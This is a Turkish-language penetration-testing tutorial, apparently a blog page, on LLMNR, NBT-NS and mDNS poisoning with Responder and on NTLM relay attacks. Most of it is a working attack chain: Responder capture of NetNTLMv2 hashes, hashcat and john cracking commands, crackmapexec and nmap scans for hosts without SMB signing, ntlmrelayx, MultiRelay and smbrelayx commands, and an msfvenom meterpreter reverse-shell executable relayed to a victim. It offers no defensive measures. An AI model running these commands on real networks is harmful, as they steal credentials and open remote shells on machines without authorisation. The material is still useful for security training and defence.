LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
LLMNR ve NBT-NS nedir?
Microsoft sistemler, localde yapılan aramalar için normalde DNS kullanır fakat DNS'de bulamadığı adresleri de Link Local Multicast Name Resolution (LLMNR) ve NETBIOS Name Service'e(NBT-NS) sorar. Bu durum eğer kullanıcılar hatalı bir arama yaparsa da geçerlidir. Örneğin \\tturhan\desktop yazacağına \\tturhan\ddessktop gibi bir kelime yazdığında ilk olarak DNS bunu arar, bulamadığı için de LLMNR NBT-NS gibi servislere başvurur.
LLMNR ve NBT-NS Poisining
Bu protokoller için kimlik doğrulaması gerekmez ve mesajları UDP ile iletir. Bu ikisi yan yana geldiği zaman, saldırganlar için en büyük odak noktası olmak kaçınılmaz oluyor. DNS kullanıcının aradığını \\karisikdosya isimli bir dosya bulamayınca LLMNR ve NBT-NS sorguları yapılıyor. Local ağda ki cihazlara böyle bir dosyanın yerini bilip bilmediği soruluyor, tam bu sırada saldırgan gel kardeşim bu dosya ben de sen bana ntlmv2 hashini yolla ben sana bu dosyanın yerini söyleyeyim diyor ve kurbanın ntlmv2 hashini ele geçirmiş oluyor. Bundan sonrası saldırganın hayal gücüne kalmış. Bu saldırının zor yanı kullanıcıdan hatalı bir dosya adı aramasını beklemek olacaktır. Kullanıcı hatalı bir dosya araması yapmadığı takdir de ntlmv2 hashi ele geçirilemeyecektir.
Responder
Açık kaynak kodlu, kali linux'da kurulu olarak gelen bir programdır. Bir çok özelliği mevcut olsa da biz bu senaryoda LLMNR ve NBT-NS saldırıları için kullanacağız.


En üstte görüldüğü gibi Responder servisleri poising etmek için bekliyor.
Hatalı bir dosya adı girdik.
/usr/share/responder/logs altında yakalanan hashlerin logları tutulmaktadır. Burada ki dosyayı okuyup hashlere erişebiliriz.
Bu yakaladığımız hashleri hashcat yada john kullanarak kullanarak kırma şansına sahibiz.
hashcat -m 5600 -a 3 hashdosyasi
john -format=netntlmv2 hashdosyası
Relay Ataklar
Relay ataklar sayesinde responder'da yakaladığımız hashlerin kırma gereği kalmadan makinelerde shell alabiliriz. Bu saldırıyı gerçekleştirmek için hem local ağda hem de saldırı yapacağımız cihazın SMB Signing özelliği False olması ve responder'ın conf dosyasına gidip SMB ve HTTP ayarlını Off yapmamız gerekmektedir.
Şimdi responderı çalıştırabiliriz.
SMB Signing False Tespiti
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
Alternatif:
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p445 127.0.0.1
ntlmrelayx.py
ntlmrelayx.py -tf targets.txt
MultiRelay.py
Artık cd /usr/share/responder/tools dizini altında ki multirelay.py aracımızı çalıştırabiliriz. Bu araç bizden iki parametre istiyor.
-t (hedef IP adresi)
-u (Kullanıcı)
python MultiRelay.py -t 123.123.123.124 -u ALL
Bundan sonra kullanıcının hata yapmasını bekleyeceğiz.
smbrelayx.py
smbrelayx.py -h 192.168.158.139 -c "whoami"
ntlmrelayx.py
Bu sefer komut çalıştırmak yerine bir exe dosyası oluşturarak karşı cihaza iletelim ve metasploit ile shell almaya çalışalım.
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
bunu metasploitten exploit/multi/handler
kullanarak dinleyeceğiz.
ntlmrelayx.py –t 192.168.158.139 -smb2support -e shell.exe
Yine kullanıcının hatalı bir arama yapmasını bekleyeceğiz.
Last updated